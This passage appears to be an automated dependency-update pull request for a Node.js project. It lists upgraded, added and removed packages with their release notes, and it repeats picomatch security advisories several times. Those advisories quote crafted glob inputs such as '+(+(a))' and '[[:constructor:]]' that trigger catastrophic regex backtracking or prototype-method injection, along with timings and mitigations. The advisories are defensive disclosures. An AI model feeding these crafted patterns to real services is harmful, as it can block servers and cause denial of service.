Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

๐Ÿšจ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching

Impact

picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].

  • Avoiding the use of POSIX bracket expressions if user input is involved.

  • Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:

    const POSIX_REGEX_SOURCE = {
      __proto__: null,
      alnum: 'a-zA-Z0-9',
      alpha: 'a-zA-Z',
      // ... rest unchanged
    };

Resources

๐Ÿšจ Picomatch has a ReDoS vulnerability via extglob quantifiers

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

๐Ÿšจ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching

Impact

picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].

  • Avoiding the use of POSIX bracket expressions if user input is involved.

  • Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:

    const POSIX_REGEX_SOURCE = {
      __proto__: null,
      alnum: 'a-zA-Z0-9',
      alpha: 'a-zA-Z',
      // ... rest unchanged
    };

Resources

๐Ÿšจ Picomatch has a ReDoS vulnerability via extglob quantifiers

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

๐Ÿšจ Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching

Impact

picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].

  • Avoiding the use of POSIX bracket expressions if user input is involved.

  • Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:

    const POSIX_REGEX_SOURCE = {
      __proto__: null,
      alnum: 'a-zA-Z0-9',
      alpha: 'a-zA-Z',
      // ... rest unchanged
    };

Resources

Release Notes

4.0.4

This is a security release fixing several security relevant issues.

What's Changed

Full Changelog: 4.0.3...4.0.4

3.0.2

This is a security release fixing several security relevant issues.

What's Changed

Full Changelog: 3.0.1...3.0.2

2.3.2

This is a security release fixing several security relevant issues.

What's Changed

Full Changelog: 2.3.1...2.3.2

2.3.1

Fixed

  • Fixes bug when a pattern containing an expression after the closing parenthesis (/!(*.d).{ts,tsx}) was incorrectly converted to regexp (9f241ef).

Changed

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 61 commits:

โ†—๏ธ pkg-dir (indirect, 4.2.0 โ†’ 8.0.0) ยท Repo

Release Notes

8.0.0

Breaking

v7.0.0...v8.0.0

7.0.0

Breaking

v6.0.1...v7.0.0

6.0.1

v6.0.0...v6.0.1

6.0.0

Breaking

-const pkgDir = require('pkg-dir');
+import {packageDirectory} from 'pkg-dir';

-await pkgDir('/Users/unicorn/foo');
+await packageDirectory({cwd: '/Users/unicorn/foo'});

v5.0.0...v6.0.0

5.0.0

Breaking

v4.2.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

โ†—๏ธ plur (indirect, 4.0.0 โ†’ 5.1.0) ยท Repo

Release Notes

5.1.0

v5.0.0...v5.1.0

5.0.0

Breaking

v4.0.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ prettier (indirect, 1.19.1 โ†’ 3.8.4) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ prettier-linter-helpers (indirect, 1.0.0 โ†’ 1.0.1) ยท Repo ยท Changelog

Commits

See the full diff on Github. The new version differs by 13 commits:

โ†—๏ธ reusify (indirect, 1.0.4 โ†’ 1.1.0) ยท Repo

Release Notes

1.1.0

What's Changed

New Contributors

Full Changelog: v1.0.4...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 8 commits:

โ†—๏ธ semver (indirect, 7.3.5 โ†’ 7.8.5) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ semver vulnerable to Regular Expression Denial of Service

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ signal-exit (indirect, 3.0.3 โ†’ 4.1.0) ยท Repo ยท Changelog

Commits

See the full diff on Github. The new version differs by 34 commits:

โ†—๏ธ slash (indirect, 4.0.0 โ†’ 5.1.0) ยท Repo

Release Notes

5.1.0

v5.0.1...v5.1.0

5.0.1

v5.0.0...v5.0.1

5.0.0

Breaking

Improvements

v4.0.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 8 commits:

โ†—๏ธ spdx-exceptions (indirect, 2.3.0 โ†’ 2.5.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 8 commits:

โ†—๏ธ spdx-expression-parse (indirect, 3.0.1 โ†’ 4.0.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ spdx-license-ids (indirect, 3.0.10 โ†’ 3.0.23) ยท Repo

Commits

See the full diff on Github. The new version differs by 50 commits:

โ†—๏ธ string-width (indirect, 4.2.2 โ†’ 8.2.1) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 38 commits:

โ†—๏ธ strip-ansi (indirect, 6.0.0 โ†’ 7.2.0) ยท Repo

Release Notes

7.2.0

  • Improve performance by adding fast path for strings without ANSI codes (#54) d67a5b3

v7.1.2...v7.2.0

7.1.2


v7.1.0...v7.1.2

7.1.0

v7.0.1...v7.1.0

7.0.1

v7.0.0...v7.0.1

7.0.0

Breaking

v6.0.0...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

โ†—๏ธ strip-final-newline (indirect, 2.0.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Breaking

  • Require Node.js 18 (#7) 077250c
  • When specifying a Uint8Array, the returned value is no longer copied. Learn more

Improvements

v3.0.0...v4.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 13 commits:

โ†—๏ธ strip-indent (indirect, 4.0.0 โ†’ 4.1.1) ยท Repo

Release Notes

4.1.1


v4.1.0...v4.1.1

4.1.0


v4.0.0...v4.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ supports-color (indirect, 7.2.0 โ†’ 10.2.2) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 51 commits:

Release Notes

3.1.0

  • Add support for Windows Terminal (#8) e161d1d

v3.0.0...v3.1.0

3.0.0

Breaking

  • Require Node.js 14

Improvements

v2.3.0...v3.0.0

2.3.0

v2.2.0...v2.3.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 31 commits:

โ†—๏ธ tapable (indirect, 0.1.10 โ†’ 2.3.3) ยท Repo ยท Changelog

Release Notes

2.3.3

Patch Changes

2.3.2

Patch Changes

2.3.1

Patch Changes

2.3.0

Features

  • [TYPES] Added TypedHookMap type.

2.2.3

Fixes

  • Async hook catch an error when reject a falsy value
  • [typescript] Support to pass return type for waterfall hooks

2.2.2

Developer Experience

  • add interceptors type to hook class

2.2.1

Developer Experience

  • fix some incorrect typings

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ tslib (indirect, 1.14.1 โ†’ 2.8.1) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ type-fest (indirect, 0.20.2 โ†’ 5.7.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 11 commits:

โ†—๏ธ typescript (indirect, 4.3.5 โ†’ 6.0.3) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ word-wrap (indirect, 1.2.3 โ†’ 1.2.5) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ word-wrap vulnerable to Regular Expression Denial of Service

All versions of the package word-wrap are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression within the result variable.

Release Notes

1.2.5

Changes:

Reverts default value for options.indent to two spaces ' '.

Full Changelog: 1.2.4...1.2.5

1.2.4

What's Changed

New Contributors

Full Changelog: 1.2.3...1.2.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

๐Ÿ†• @โ€‹emnapi/core (added, 1.10.0)

๐Ÿ†• @โ€‹emnapi/runtime (added, 1.10.0)

๐Ÿ†• @โ€‹emnapi/wasi-threads (added, 1.2.1)

๐Ÿ†• @โ€‹es-joy/jsdoccomment (added, 0.87.0)

๐Ÿ†• @โ€‹es-joy/resolve.exports (added, 1.2.0)

๐Ÿ†• @โ€‹eslint-community/eslint-plugin-eslint-comments (added, 4.7.2)

๐Ÿ†• @โ€‹eslint-community/eslint-utils (added, 4.9.1)

๐Ÿ†• @โ€‹eslint-community/regexpp (added, 4.12.2)

๐Ÿ†• @โ€‹eslint/compat (added, 2.1.0)

๐Ÿ†• @โ€‹eslint/config-array (added, 0.23.5)

๐Ÿ†• @โ€‹eslint/config-helpers (added, 0.6.0)

๐Ÿ†• @โ€‹eslint/core (added, 1.2.1)

๐Ÿ†• @โ€‹eslint/css (added, 1.3.0)

๐Ÿ†• @โ€‹eslint/css-tree (added, 4.0.4)

๐Ÿ†• @โ€‹eslint/json (added, 2.0.0)

๐Ÿ†• @โ€‹eslint/markdown (added, 8.0.2)

๐Ÿ†• @โ€‹eslint/object-schema (added, 3.0.5)

๐Ÿ†• @โ€‹eslint/plugin-kit (added, 0.7.2)

๐Ÿ†• @โ€‹html-eslint/core (added, 0.62.0)

๐Ÿ†• @โ€‹html-eslint/eslint-plugin (added, 0.62.0)

๐Ÿ†• @โ€‹html-eslint/parser (added, 0.62.0)

๐Ÿ†• @โ€‹html-eslint/template-parser (added, 0.62.0)

๐Ÿ†• @โ€‹html-eslint/template-syntax-parser (added, 0.62.0)

๐Ÿ†• @โ€‹html-eslint/types (added, 0.62.0)

๐Ÿ†• @โ€‹humanfs/core (added, 0.19.2)

๐Ÿ†• @โ€‹humanfs/node (added, 0.16.8)

๐Ÿ†• @โ€‹humanfs/types (added, 0.15.0)

๐Ÿ†• @โ€‹humanwhocodes/module-importer (added, 1.0.1)

๐Ÿ†• @โ€‹humanwhocodes/momoa (added, 3.3.10)

๐Ÿ†• @โ€‹humanwhocodes/retry (added, 0.4.3)

๐Ÿ†• @โ€‹napi-rs/wasm-runtime (added, 1.1.5)

๐Ÿ†• @โ€‹package-json/types (added, 0.0.12)

๐Ÿ†• @โ€‹pkgr/core (added, 0.3.6)

๐Ÿ†• @โ€‹rviscomi/capo.js (added, 2.1.0)

๐Ÿ†• @โ€‹sec-ant/readable-stream (added, 0.4.1)

๐Ÿ†• @โ€‹sindresorhus/base62 (added, 1.0.0)

๐Ÿ†• @โ€‹sindresorhus/merge-streams (added, 4.0.0)

๐Ÿ†• @โ€‹sindresorhus/tsconfig (added, 8.1.0)

๐Ÿ†• @โ€‹stylistic/eslint-plugin (added, 5.10.0)

๐Ÿ†• @โ€‹tybys/wasm-util (added, 0.10.2)

๐Ÿ†• @โ€‹types/css-tree (added, 2.3.11)

๐Ÿ†• @โ€‹types/debug (added, 4.1.13)

๐Ÿ†• @โ€‹types/esrecurse (added, 4.3.1)

๐Ÿ†• @โ€‹types/hast (added, 3.0.4)

๐Ÿ†• @โ€‹types/katex (added, 0.16.8)

๐Ÿ†• @โ€‹types/mdast (added, 4.0.4)

๐Ÿ†• @โ€‹types/ms (added, 2.1.0)

๐Ÿ†• @โ€‹types/unist (added, 3.0.3)

๐Ÿ†• @โ€‹typescript-eslint/project-service (added, 8.61.1)

๐Ÿ†• @โ€‹typescript-eslint/tsconfig-utils (added, 8.61.1)

๐Ÿ†• @โ€‹typescript-eslint/type-utils (added, 8.61.1)

๐Ÿ†• @โ€‹typescript-eslint/utils (added, 8.61.1)

๐Ÿ†• @โ€‹unrs/resolver-binding-android-arm-eabi (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-android-arm64 (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-darwin-arm64 (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-darwin-x64 (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-freebsd-x64 (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-arm-gnueabihf (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-arm-musleabihf (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-arm64-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-arm64-musl (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-loong64-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-loong64-musl (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-ppc64-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-riscv64-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-riscv64-musl (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-s390x-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-x64-gnu (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-linux-x64-musl (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-openharmony-arm64 (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-wasm32-wasi (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-win32-arm64-msvc (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-win32-ia32-msvc (added, 1.12.2)

๐Ÿ†• @โ€‹unrs/resolver-binding-win32-x64-msvc (added, 1.12.2)

๐Ÿ†• @โ€‹vscode/l10n (added, 0.0.18)

๐Ÿ†• are-docs-informative (added, 0.0.2)

๐Ÿ†• baseline-browser-mapping (added, 2.10.38)

๐Ÿ†• bundle-name (added, 4.1.0)

๐Ÿ†• ccount (added, 2.0.1)

๐Ÿ†• change-case (added, 5.4.4)

๐Ÿ†• character-entities (added, 2.0.2)

๐Ÿ†• comment-parser (added, 1.4.7)

๐Ÿ†• common-path-prefix (added, 3.0.0)

๐Ÿ†• core-js-compat (added, 3.49.0)

๐Ÿ†• css-tree (added, 3.2.1)

๐Ÿ†• decode-named-character-reference (added, 1.3.0)

๐Ÿ†• default-browser (added, 5.5.0)

๐Ÿ†• default-browser-id (added, 5.0.1)

๐Ÿ†• dequal (added, 2.0.3)

๐Ÿ†• detect-indent (added, 7.0.2)

๐Ÿ†• devlop (added, 1.1.0)

๐Ÿ†• env-paths (added, 2.2.1)

๐Ÿ†• environment (added, 1.1.0)

๐Ÿ†• es-html-parser (added, 0.3.1)

๐Ÿ†• eslint-compat-utils (added, 0.5.1)

๐Ÿ†• eslint-import-context (added, 0.1.9)

๐Ÿ†• eslint-import-resolver-typescript (added, 4.4.5)

๐Ÿ†• eslint-plugin-es-x (added, 7.8.0)

๐Ÿ†• eslint-plugin-import-x (added, 4.16.2)

๐Ÿ†• eslint-plugin-jsdoc (added, 63.0.6)

๐Ÿ†• eslint-plugin-n (added, 18.1.0)

๐Ÿ†• eslint-plugin-regexp (added, 3.1.0)

๐Ÿ†• fault (added, 2.0.1)

๐Ÿ†• fdir (added, 6.5.0)

๐Ÿ†• figures (added, 6.1.0)

๐Ÿ†• find-cache-directory (added, 6.0.0)

๐Ÿ†• find-up-simple (added, 1.0.1)

๐Ÿ†• format (added, 0.2.2)

๐Ÿ†• get-east-asian-width (added, 1.6.0)

๐Ÿ†• get-tsconfig (added, 4.14.0)

๐Ÿ†• github-slugger (added, 2.0.0)

๐Ÿ†• globrex (added, 0.1.2)

๐Ÿ†• html-entities (added, 2.6.0)

๐Ÿ†• html-standard (added, 0.0.13)

๐Ÿ†• is-bun-module (added, 2.0.0)

๐Ÿ†• is-in-ssh (added, 1.0.0)

๐Ÿ†• is-inside-container (added, 1.0.0)

๐Ÿ†• jiti (added, 2.7.0)

๐Ÿ†• jsdoc-type-pratt-parser (added, 7.2.0)

๐Ÿ†• json-buffer (added, 3.0.1)

๐Ÿ†• katex (added, 0.16.47)

๐Ÿ†• keyv (added, 4.5.4)

๐Ÿ†• longest-streak (added, 3.1.0)

๐Ÿ†• markdown-table (added, 3.0.4)

๐Ÿ†• mdast-util-find-and-replace (added, 3.0.2)

๐Ÿ†• mdast-util-from-markdown (added, 2.0.3)

๐Ÿ†• mdast-util-frontmatter (added, 2.0.1)

๐Ÿ†• mdast-util-gfm (added, 3.1.0)

๐Ÿ†• mdast-util-gfm-footnote (added, 2.1.0)

๐Ÿ†• mdast-util-gfm-strikethrough (added, 2.0.0)

๐Ÿ†• mdast-util-gfm-table (added, 2.0.0)

๐Ÿ†• mdast-util-gfm-task-list-item (added, 2.0.0)

๐Ÿ†• mdast-util-math (added, 3.0.0)

๐Ÿ†• mdast-util-phrasing (added, 4.1.0)

๐Ÿ†• mdast-util-to-markdown (added, 2.1.2)

๐Ÿ†• mdast-util-to-string (added, 4.0.0)

๐Ÿ†• mdn-data (added, 2.28.1)

๐Ÿ†• micromark (added, 4.0.2)

๐Ÿ†• micromark-core-commonmark (added, 2.0.3)

๐Ÿ†• micromark-extension-frontmatter (added, 2.0.0)

๐Ÿ†• micromark-extension-gfm (added, 3.0.0)

๐Ÿ†• micromark-extension-gfm-footnote (added, 2.1.0)

๐Ÿ†• micromark-extension-gfm-strikethrough (added, 2.1.0)

๐Ÿ†• micromark-extension-gfm-table (added, 2.1.1)

๐Ÿ†• micromark-extension-gfm-tagfilter (added, 2.0.0)

๐Ÿ†• micromark-extension-gfm-task-list-item (added, 2.1.0)

๐Ÿ†• micromark-extension-math (added, 3.1.0)

๐Ÿ†• micromark-factory-destination (added, 2.0.1)

๐Ÿ†• micromark-factory-label (added, 2.0.1)

๐Ÿ†• micromark-factory-space (added, 2.0.1)

๐Ÿ†• micromark-factory-title (added, 2.0.1)

๐Ÿ†• micromark-factory-whitespace (added, 2.0.1)

๐Ÿ†• micromark-util-character (added, 2.1.1)

๐Ÿ†• micromark-util-chunked (added, 2.0.1)

๐Ÿ†• micromark-util-classify-character (added, 2.0.1)

๐Ÿ†• micromark-util-combine-extensions (added, 2.0.1)

๐Ÿ†• micromark-util-decode-numeric-character-reference (added, 2.0.2)

๐Ÿ†• micromark-util-decode-string (added, 2.0.1)

๐Ÿ†• micromark-util-encode (added, 2.0.1)

๐Ÿ†• micromark-util-html-tag-name (added, 2.0.1)

๐Ÿ†• micromark-util-normalize-identifier (added, 2.0.1)

๐Ÿ†• micromark-util-resolve-all (added, 2.0.1)

๐Ÿ†• micromark-util-sanitize-uri (added, 2.0.1)

๐Ÿ†• micromark-util-subtokenize (added, 2.1.0)

๐Ÿ†• micromark-util-symbol (added, 2.0.1)

๐Ÿ†• micromark-util-types (added, 2.0.2)

๐Ÿ†• napi-postinstall (added, 0.3.4)

๐Ÿ†• object-deep-merge (added, 2.0.1)

๐Ÿ†• parse-imports-exports (added, 0.2.4)

๐Ÿ†• parse-ms (added, 4.0.0)

๐Ÿ†• parse-statements (added, 1.0.11)

๐Ÿ†• picocolors (added, 1.1.1)

๐Ÿ†• powershell-utils (added, 0.1.0)

๐Ÿ†• pretty-ms (added, 9.3.0)

๐Ÿ†• refa (added, 0.12.1)

๐Ÿ†• regexp-ast-analysis (added, 0.7.1)

๐Ÿ†• regjsparser (added, 0.13.2)

๐Ÿ†• reserved-identifiers (added, 1.2.0)

๐Ÿ†• resolve-pkg-maps (added, 1.0.0)

๐Ÿ†• run-applescript (added, 7.1.0)

๐Ÿ†• scslre (added, 0.3.0)

๐Ÿ†• source-map-js (added, 1.2.1)

๐Ÿ†• stable-hash-x (added, 0.2.0)

๐Ÿ†• synckit (added, 0.11.13)

๐Ÿ†• tagged-tag (added, 1.0.0)

๐Ÿ†• tinyglobby (added, 0.2.17)

๐Ÿ†• to-valid-identifier (added, 1.0.0)

๐Ÿ†• ts-api-utils (added, 2.5.0)

๐Ÿ†• typescript-eslint (added, 8.61.1)

๐Ÿ†• unicorn-magic (added, 0.4.0)

๐Ÿ†• unist-util-is (added, 6.0.1)

๐Ÿ†• unist-util-remove-position (added, 5.0.0)

๐Ÿ†• unist-util-stringify-position (added, 4.0.0)

๐Ÿ†• unist-util-visit (added, 5.1.0)

๐Ÿ†• unist-util-visit-parents (added, 6.0.2)

๐Ÿ†• unrs-resolver (added, 1.12.2)

๐Ÿ†• update-browserslist-db (added, 1.2.3)

๐Ÿ†• vscode-css-languageservice (added, 6.3.10)

๐Ÿ†• vscode-languageserver-textdocument (added, 1.0.12)

๐Ÿ†• vscode-languageserver-types (added, 3.17.5)

๐Ÿ†• vscode-uri (added, 3.1.0)

๐Ÿ†• wsl-utils (added, 0.3.1)

๐Ÿ†• yoctocolors (added, 2.1.2)

๐Ÿ†• zwitch (added, 2.0.4)

๐Ÿ—‘๏ธ @โ€‹babel/compat-data (removed)

๐Ÿ—‘๏ธ @โ€‹babel/core (removed)

๐Ÿ—‘๏ธ @โ€‹babel/eslint-parser (removed)

๐Ÿ—‘๏ธ @โ€‹babel/generator (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-compilation-targets (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-function-name (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-get-function-arity (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-hoist-variables (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-member-expression-to-functions (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-module-imports (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-module-transforms (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-optimise-call-expression (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-replace-supers (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-simple-access (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-split-export-declaration (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-validator-option (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helpers (removed)

๐Ÿ—‘๏ธ @โ€‹babel/highlight (removed)

๐Ÿ—‘๏ธ @โ€‹babel/parser (removed)

๐Ÿ—‘๏ธ @โ€‹babel/template (removed)

๐Ÿ—‘๏ธ @โ€‹babel/traverse (removed)

๐Ÿ—‘๏ธ @โ€‹babel/types (removed)

๐Ÿ—‘๏ธ @โ€‹eslint/eslintrc (removed)

๐Ÿ—‘๏ธ @โ€‹humanwhocodes/config-array (removed)

๐Ÿ—‘๏ธ @โ€‹humanwhocodes/object-schema (removed)

๐Ÿ—‘๏ธ @โ€‹types/eslint-scope (removed)

๐Ÿ—‘๏ธ @โ€‹types/minimist (removed)

๐Ÿ—‘๏ธ @โ€‹types/node (removed)

๐Ÿ—‘๏ธ @โ€‹types/normalize-package-data (removed)

๐Ÿ—‘๏ธ @โ€‹types/parse-json (removed)

๐Ÿ—‘๏ธ @โ€‹typescript-eslint/experimental-utils (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/ast (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/floating-point-hex-parser (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/helper-api-error (removed)

